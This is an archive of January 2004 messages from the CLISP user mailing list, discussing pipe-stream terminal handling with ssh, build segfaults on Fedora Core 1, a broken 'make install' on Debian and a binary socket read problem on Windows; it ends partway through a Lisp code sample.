WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id i09HeJS07935; Fri, 9 Jan 2004 12:40:19 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Kaz Kylheku Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Kaz Kylheku's message of "Fri, 9 Jan 2004 08:55:49 -0800 (PST)") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Annoying pipe stream behavior. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 9 09:42:01 2004 X-Original-Date: Fri, 09 Jan 2004 12:40:19 -0500 I don't know enough about pipes, setsid &c to fix this. Patches are welcome. > * Kaz Kylheku [2004-01-09 08:55:49 -0800]: > > If you run an external process with MAKE-PIPE-INPUT-STREAM, and that > process, or a child thereof, wants input from the terminal---such as a > password---it doesn't work. > > For example > > (make-pipe-input-stream "ssh me@remote.host ls") > > SSH prompts for password. You type, but characters are echoed to the > terminal and are not going into ssh! > > This is not the subordinate program's fault, because you can redirect > its output from the shell without running into this problem, e.g. > > ssh me@remote.host ls | some-program > # ssh prompts for password, you can enter it > > I haven't done enough investigation to know what the exact issue is; > but it's likely because of the SETSID() call in create_input_pipe(). > > The setsid() function creates a new job control session with no > controlling tty. > > Why would you want to do that for a pipe coprocess? That's useful for > a background process such as a daemon which runs without a controlling > terminal (and probably must use O_NOCTTY when opening tty devices to > avoid acquiring one). > > Note how the shell does not create new sessions for commands: > > $ ps -o sess,pid,command > > SESS PID COMMAND > 17457 17457 -bash > 17457 18145 /bin/bash -c (ps -o sess,pid,command) >/tmp/v683723/3 2>&1 > 17457 18146 ps -o sess,pid,command > > See? The ps process is in the same session as the shell. Not in a new > session. The shell is the session leader: its PID and session ID are > the same. > > > > ------------------------------------------------------- > This SF.net email is sponsored by: Perforce Software. > Perforce is the Fast Software Configuration Management System offering > advanced branching capabilities and atomic changes on 50+ platforms. > Free Eval! http://www.perforce.com/perforce/loadprog.html -- Sam Steingold (http://www.podval.org/~sds) running w2k Don't use force -- get a bigger hammer. From bruno@clisp.org Fri Jan 09 13:37:18 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1Af4Jh-0002Xc-Tq for clisp-list@lists.sourceforge.net; Fri, 09 Jan 2004 13:37:17 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Af4Jh-0002lW-71 for clisp-list@lists.sourceforge.net; Fri, 09 Jan 2004 13:37:17 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.10/8.12.10) with ESMTP id i09Lb8Rw010261; Fri, 9 Jan 2004 22:37:08 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i09Lb6xM009724; Fri, 9 Jan 2004 22:37:06 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 7BE861BB4B; Fri, 9 Jan 2004 21:34:40 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold , Kaz Kylheku User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401092234.39295.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Annoying pipe stream behavior. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 9 13:38:03 2004 X-Original-Date: Fri, 9 Jan 2004 22:34:39 +0100 Kaz Kylheku wrote: > > If you run an external process with MAKE-PIPE-INPUT-STREAM, and that > > process, or a child thereof, wants input from the terminal---such as a > > password---it doesn't work. > > > > For example > > > > (make-pipe-input-stream "ssh me@remote.host ls") > > > > SSH prompts for password. You type, but characters are echoed to the > > terminal and are not going into ssh! For me, something different happens: I see an endless stream of Enter passphrase for RSA key '/home/haible/.ssh/identity': prompts. That's because ssh has done open("/dev/tty") and attempts to read() from it. The read() call is interrupted with SIGTTIN and returns with errno == EINTR, ssh thinks it was interrupted with Ctrl-Z and then restarted, and redisplays the prompts and tries to read again... So it's really the SIGTTIN which is the problem, and yes it comes from the setpgrp() or setsid() call. > > Why would you want to do that for a pipe coprocess? That's useful for > > a background process such as a daemon which runs without a controlling > > terminal (and probably must use O_NOCTTY when opening tty devices to > > avoid acquiring one). I think the reason was the Ctrl-C handling: If subprocesses spawned via RUN-PROGRAM and MAKE-PIPE-*-STREAM are launched in the same process group, then they are killed when the user presses Ctrl-C. But the user's intention when he presses Ctrl-C is to abort the current Lisp computation or even more simply to correct a typo in a preceding input line. If it makes subprocesses die, this is perceived as a bug. Blocking SIGINT while doing the fork(), so that the child starts with SIGINT blocked, is not a solution because 1. whether the child then really starts with SIGINT blocked is system dependent, 2. POSIX recommends against this. Any idea how to resolve this conflict? Bruno From kaz@footprints.net Fri Jan 09 14:29:19 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1Af583-0005Jh-QQ for clisp-list@lists.sourceforge.net; Fri, 09 Jan 2004 14:29:19 -0800 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Af583-0006hQ-FZ for clisp-list@lists.sourceforge.net; Fri, 09 Jan 2004 14:29:19 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 1Af57z-0001F2-00; Fri, 09 Jan 2004 14:29:15 -0800 From: Kaz Kylheku To: Bruno Haible cc: clisp-list@lists.sourceforge.net, Sam Steingold In-Reply-To: <200401092234.39295.bruno@clisp.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Annoying pipe stream behavior. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 9 14:30:01 2004 X-Original-Date: Fri, 9 Jan 2004 14:29:15 -0800 (PST) On Fri, 9 Jan 2004, Bruno Haible wrote: > Any idea how to resolve this conflict? Under POSIX job control, doesn't the tty subsystem only generate Ctrl-C SIGINT for processes that are in the foreground process group? I'm afraid that to fix this well, CLISP will have to become more shell-like by doing a POSIX job control. Imagine how the shell works. If you background a process with & you are back at the prompt. If you type Ctrl-C, it does not disturb the background process; any SIGINT goes to the shell (or in a totally modernized shell, the tty is put into character mode for editing, and the Ctrl-C arrives as ASCII character 3). When you foreground the process, its group becomes the foreground process group, and now receives the SIGINT. Meanwhile, the shell is in the background. It can detect a change in the job using some combination of wait() and SIGCHLD. From eliot@generation.net Sat Jan 10 13:18:34 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AfQV8-0003ht-HN for clisp-list@lists.sourceforge.net; Sat, 10 Jan 2004 13:18:34 -0800 Received: from xavier.generation.net ([206.83.32.8] helo=smtp.generation.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AfQV8-0008Cw-6B for clisp-list@lists.sourceforge.net; Sat, 10 Jan 2004 13:18:34 -0800 Received: from generation.net (bhd9-s14.mtl.colba.net [207.107.207.24]) by smtp.generation.net (Postfix) with ESMTP id 379CF97614 for ; Sat, 10 Jan 2004 16:18:25 -0500 (EST) Message-ID: <40006C38.6020308@generation.net> From: Eliot Handelman User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.5) Gecko/20031007 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Fedora Core 1 build trouble Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 10 13:19:00 2004 X-Original-Date: Sat, 10 Jan 2004 16:18:48 -0500 Hi, I'm trying to build clisp-2.32 on fedora core 1 (older AMD K7). All goes well until: test -d bindings || mkdir -p bindings ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" *** - handle_fault error2 ! address = 0x3f292f58 not in [0x20810000,0x20810000) ! SIGSEGV cannot be cured. Fault address = 0x3f292f58. make: *** [interpreted.mem] Segmentation fault I tried to build also with -DNO_GENERATIONAL_GC, which caused a segmentation fault without the handle_fault error2. The same problem was reported in a message from Gerard Milmeister:: Building CLISP 2.31 on Fedora Core 1 2003-11-13 04:40 I haven't seen a follow-up? many thanks for suggestions, -- eliot From sds@gnu.org Sat Jan 10 13:41:10 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AfQr0-0004mK-Tx for clisp-list@lists.sourceforge.net; Sat, 10 Jan 2004 13:41:10 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AfQqx-0000Rr-Mh for clisp-list@lists.sourceforge.net; Sat, 10 Jan 2004 13:41:07 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1AfQqw-0003gM-00; Sat, 10 Jan 2004 16:41:06 -0500 To: clisp-list@lists.sourceforge.net, Eliot Handelman Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <40006C38.6020308@generation.net> (Eliot Handelman's message of "Sat, 10 Jan 2004 16:18:48 -0500") References: <40006C38.6020308@generation.net> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Fedora Core 1 build trouble Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 10 13:42:00 2004 X-Original-Date: Sat, 10 Jan 2004 16:41:04 -0500 > * Eliot Handelman [2004-01-10 16:18:48 -0500]: > > I'm trying to build clisp-2.32 on fedora core 1 (older AMD K7). All goes > well until: > > test -d bindings || mkdir -p bindings > ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW > -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" > > *** - handle_fault error2 ! address = 0x3f292f58 not in > [0x20810000,0x20810000) ! > SIGSEGV cannot be cured. Fault address = 0x3f292f58. > make: *** [interpreted.mem] Segmentation fault > > I tried to build also with -DNO_GENERATIONAL_GC, which caused a > segmentation fault without the handle_fault error2. > > The same problem was reported in a message from Gerard Milmeister:: > > Building CLISP 2.31 on Fedora Core 1 2003-11-13 04:40 this is also what I observe. (I also get a crash dumping GNU Emacs). CLISP builds fine on other Linux machines (SF CF, fencepost), so this is definitely something about Fedora. I have no idea what is going on. It might be related to , might be unrelated. Bruno? -- Sam Steingold (http://www.podval.org/~sds) running w2k char*a="char*a=%c%s%c;main(){printf(a,34,a,34);}";main(){printf(a,34,a,34);} From traverso@posso.dm.unipi.it Sat Jan 10 15:24:14 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AfSSk-0008Qd-MQ for clisp-list@lists.sourceforge.net; Sat, 10 Jan 2004 15:24:14 -0800 Received: from posso.dm.unipi.it ([131.114.72.61] ident=[JG9FcCqa8gMTnqde/zHtTu/uhNxmTO8N]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AfSSk-00050b-2k for clisp-list@lists.sourceforge.net; Sat, 10 Jan 2004 15:24:14 -0800 Received: (from traverso@localhost) by posso.dm.unipi.it (8.11.6/8.11.6) id i0ANNGj00767; Sun, 11 Jan 2004 00:23:16 +0100 Message-Id: <200401102323.i0ANNGj00767@posso.dm.unipi.it> From: Carlo Traverso To: clisp-list@lists.sourceforge.net CC: clisp-list@lists.sourceforge.net, eliot@generation.net, bruno@clisp.org In-reply-to: (message from Sam Steingold on Sat, 10 Jan 2004 16:41:04 -0500) Subject: Re: [clisp-list] Re: Fedora Core 1 build trouble Reply-To: traverso@dm.unipi.it References: <40006C38.6020308@generation.net> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 10 15:25:00 2004 X-Original-Date: Sun, 11 Jan 2004 00:23:16 +0100 From what I read on the Axiom developer mailing lists, some mid november discussion, http://mail.nongnu.org/mailman/listinfo/axiom-developer it might be a problem of the fedora memory model, used for exec-shield, that makes it incompatible with current lisp memory management model. Apparently the fedora developers are aware of the problem, but insist that lisps have to change their model. Carlo From dgou@mac.com Mon Jan 12 05:37:07 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1Ag2Ff-0003vA-OZ for clisp-list@lists.sourceforge.net; Mon, 12 Jan 2004 05:37:07 -0800 Received: from a17-250-248-46.apple.com ([17.250.248.46] helo=smtpout.mac.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Ag2Ff-0006gj-Do for clisp-list@lists.sourceforge.net; Mon, 12 Jan 2004 05:37:07 -0800 Received: from mac.com (smtpin08-en2 [10.13.10.153]) by smtpout.mac.com (8.12.6/MantshX 2.0) with ESMTP id i0CDb6JR007708 for ; Mon, 12 Jan 2004 05:37:06 -0800 (PST) Received: from [192.168.1.102] (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/smtpin08/MantshX 3.0) with ESMTP id i0CDb2TR001581 for ; Mon, 12 Jan 2004 05:37:06 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v609) In-Reply-To: References: <2197350.1072193408970.JavaMail.dgou@mac.com> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <6602556B-4504-11D8-BB4A-000393030214@mac.com> Content-Transfer-Encoding: 7bit From: Douglas Philips Subject: Re: [clisp-list] Re: 2.32 looms! To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.609) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jan 12 05:38:00 2004 X-Original-Date: Mon, 12 Jan 2004 08:37:00 -0500 A long time ago (in internet time), on a keyboard far far away, On Dec 23, 2003, at 6:20 PM, Sam Steingold wrote: > So I was missing the point. sorry. > please try --with-debug, it will tell you which file/line signals the > error. > also, please run under gdb: > (gdb) break OS_error > (gdb) run -q -norc -B . >> (load "init.lisp") > (gdb) where > (gdb) zbacktrace > > please use zout/xout to figure what is going on. Between the holidays and cranky (move me and I'll break. You did and I did) hardware, I haven't had the chance to look into this further, but I haven't forgotten. Also, the machine I had running RedHat 8 is dead. The new machine will be running OpenBSD. Similarly my YellowDog 3 machine is also now running OpenBSD. From the looks of the OpenBSD mailing lists, there are some issues there, so hopefully I can help out with that too. I hope to have my hardware issues resolved this week and be able to get back to this by the weekend. ; Tue, 13 Jan 2004 09:30:23 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1AgJuH-0002EU-00 for ; Tue, 13 Jan 2004 09:28:13 +0100 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AgJuH-0001hy-00 for ; Tue, 13 Jan 2004 09:28:13 +0100 From: Luke Gorrie Lines: 26 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Sincerity: 14% (approx.) User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Installation problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 13 00:31:05 2004 X-Original-Date: 13 Jan 2004 09:28:14 +0100 Ahoy, I'm trying to install CLISP 2.32 on my Debian testing box. It fails during 'make install': for f in clisp-link linkkit/* base/* full/*; do \ case $f in \ */lisp.run) /usr/bin/install -c $f /usr/local/lib/clisp/$f;; \ *) /usr/bin/install -c -m 644 $f /usr/local/lib/clisp/$f;; \ esac; \ done /usr/bin/install: cannot stat `full/libavcall.a': No such file or directory /usr/bin/install: cannot stat `full/libcallback.a': No such file or directory .... My full/ directory contains some very funny looking symlinks: lrwxr-xr-x 1 luke foo 81 Jan 13 05:12 libavcall.a -> /home/luke/src/clisp-2.32/src/base?/home/luke/src/clisp-2.32/src/base/libavcall.a lrwxr-xr-x 1 luke foo 83 Jan 13 05:12 libcallback.a -> /home/luke/src/clisp-2.32/src/base?/home/luke/src/clisp-2.32/src/base/libcallback.a lrwxr-xr-x 1 luke foo 82 Jan 13 05:12 libcharset.a -> /home/luke/src/clisp-2.32/src/base?/home/luke/src/clisp-2.32/src/base/libcharset.a Any ideas? Cheers, Luke From pascal@afaa.asso.fr Tue Jan 13 09:37:19 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AgSTe-0002RQ-Vn for clisp-list@lists.sourceforge.net; Tue, 13 Jan 2004 09:37:18 -0800 Received: from hermes.afaa.asso.fr ([195.114.85.131] helo=cerbere.afaa.asso.fr ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AgSTe-0007Gr-Ax for clisp-list@lists.sourceforge.net; Tue, 13 Jan 2004 09:37:18 -0800 Received: by cerbere.afaa.asso.fr (Email Server, from userid 8) id C03672177; Tue, 13 Jan 2004 18:37:12 +0100 (CET) Received: from afaa.asso.fr (14-MURC-X7.libre.retevision.es [62.82.102.14]) by cerbere.afaa.asso.fr (AvMailGate-2.0.1.15) id 11280-62616AAE; Tue, 13 Jan 2004 18:37:10 +0100 Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v553) Cc: Pascal Bourguignon , To: clisp-list@lists.sourceforge.net From: Pascal Bourguignon In-Reply-To: Message-Id: <400BDB3A-3F9E-11D8-BC6C-000A95E27FEE@afaa.asso.fr> Content-Transfer-Encoding: 7bit X-Mailer: Apple Mail (2.553) X-AntiVirus: checked by AntiVir MailGate (version: 2.0.1.15; AVE: 6.23.0.2; VDF: 6.23.0.29; host: cerbere.afaa.asso.fr) X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.2 DATE_IN_PAST_96_XX Date: is 96 hours or more before Received: date Subject: [clisp-list] Re: new-clx builds bad encoding name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 13 09:38:01 2004 X-Original-Date: Mon, 5 Jan 2004 17:43:11 +0100 On Sunday, Jan 4, 2004, at 03:37 Europe/Madrid, Sam Steingold wrote: > did you try the patch in > ? I applied it but could not test it because I had other, unrelated, compiling problems (and the CVS was not available then). Now I'm having difficulties with my Internet connection so I'm distracted from it. I'll come back to you when I'll have it tested. Thanks for your concern. -- __Pascal Bourguignon__ http://www.informatimago.com/ From sds@gnu.org Tue Jan 13 09:58:47 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AgSoQ-00041P-W6 for clisp-list@lists.sourceforge.net; Tue, 13 Jan 2004 09:58:46 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AgSoQ-0005Ec-Bu for clisp-list@lists.sourceforge.net; Tue, 13 Jan 2004 09:58:46 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id i0DHwTH28905; Tue, 13 Jan 2004 12:58:30 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Luke Gorrie Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Luke Gorrie's message of "13 Jan 2004 09:28:14 +0100") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Installation problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 13 09:59:05 2004 X-Original-Date: Tue, 13 Jan 2004 12:58:28 -0500 > * Luke Gorrie [2004-01-13 09:28:14 +0100]: > > I'm trying to install CLISP 2.32 on my Debian testing box. It fails > during 'make install': > > for f in clisp-link linkkit/* base/* full/*; do \ > case $f in \ > */lisp.run) /usr/bin/install -c $f /usr/local/lib/clisp/$f;; \ > *) /usr/bin/install -c -m 644 $f /usr/local/lib/clisp/$f;; \ > esac; \ > done > /usr/bin/install: cannot stat `full/libavcall.a': No such file or directory > /usr/bin/install: cannot stat `full/libcallback.a': No such file or directory > .... > > My full/ directory contains some very funny looking symlinks: > > lrwxr-xr-x 1 luke foo 81 Jan 13 05:12 libavcall.a -> /home/luke/src/clisp-2.32/src/base?/home/luke/src/clisp-2.32/src/base/libavcall.a > lrwxr-xr-x 1 luke foo 83 Jan 13 05:12 libcallback.a -> /home/luke/src/clisp-2.32/src/base?/home/luke/src/clisp-2.32/src/base/libcallback.a > lrwxr-xr-x 1 luke foo 82 Jan 13 05:12 libcharset.a -> /home/luke/src/clisp-2.32/src/base?/home/luke/src/clisp-2.32/src/base/libcharset.a > > Any ideas? weird. full/ is created by clisp-link. maybe you could add "-xv" to "#!/bin/sh" in clisp-link and see what command creates these absurdities? -- Sam Steingold (http://www.podval.org/~sds) running w2k Bus error -- please leave by the rear door. From edi@agharta.de Thu Jan 15 04:26:49 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ah6aH-0007Ua-DE for clisp-list@lists.sourceforge.net; Thu, 15 Jan 2004 04:26:49 -0800 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Ah6aG-000546-O7 for clisp-list@lists.sourceforge.net; Thu, 15 Jan 2004 04:26:49 -0800 Received: by bird.agharta.de (Postfix, from userid 500) id D8E5F27D8D; Thu, 15 Jan 2004 13:26:21 +0100 (CET) To: clisp-list@lists.sourceforge.net Reply-To: edi@agharta.de From: Edi Weitz Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Problem with READ-BYTE-SEQUENCE on Windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 15 04:27:11 2004 X-Original-Date: Thu, 15 Jan 2004 13:26:21 +0100 The test code below works fine with binary downloads like, say, (foo "weitz.de" "/files/cl-interpol.tgz") if I invoke it from Linux. But if I use it from Windows most of the contents of the generated "out" file (towards the end) are nulls. Am I doing something wrong or is this a bug? (Looks to me as if it acted like the :NO-HANG argument were T.) I had the same problem with the standard functions READ-SEQUENCE/WRITE-SEQUENCE. Both are CLISP 2.32. On Linux (SuSE 9.0) it was built from source, on Windows (XP pro) I used the "clisp-2.32-win32.zip" binary from Sourceforge. Thanks, Edi. (defun foo (host url) (let ((stream (socket:socket-connect 80 host :external-format (ext:make-encoding :charset 'charset:iso-8859-1 :line-terminator :unix)))) (format stream "GET ~A HTTP/1.0~C~CHost: ~A~C~C~C~C" url #\Return #\Linefeed host #\Return #\Linefeed #\Return #\Linefeed) (force-output stream) (let (length) (loop for line = (read-line stream nil nil) until (or (null line) (zerop (length line)) (eql (elt line 0) (code-char 13))) when (= (mismatch line "Content-length: " :test #'char-equal) 16) do (setq length (parse-integer line :start 15 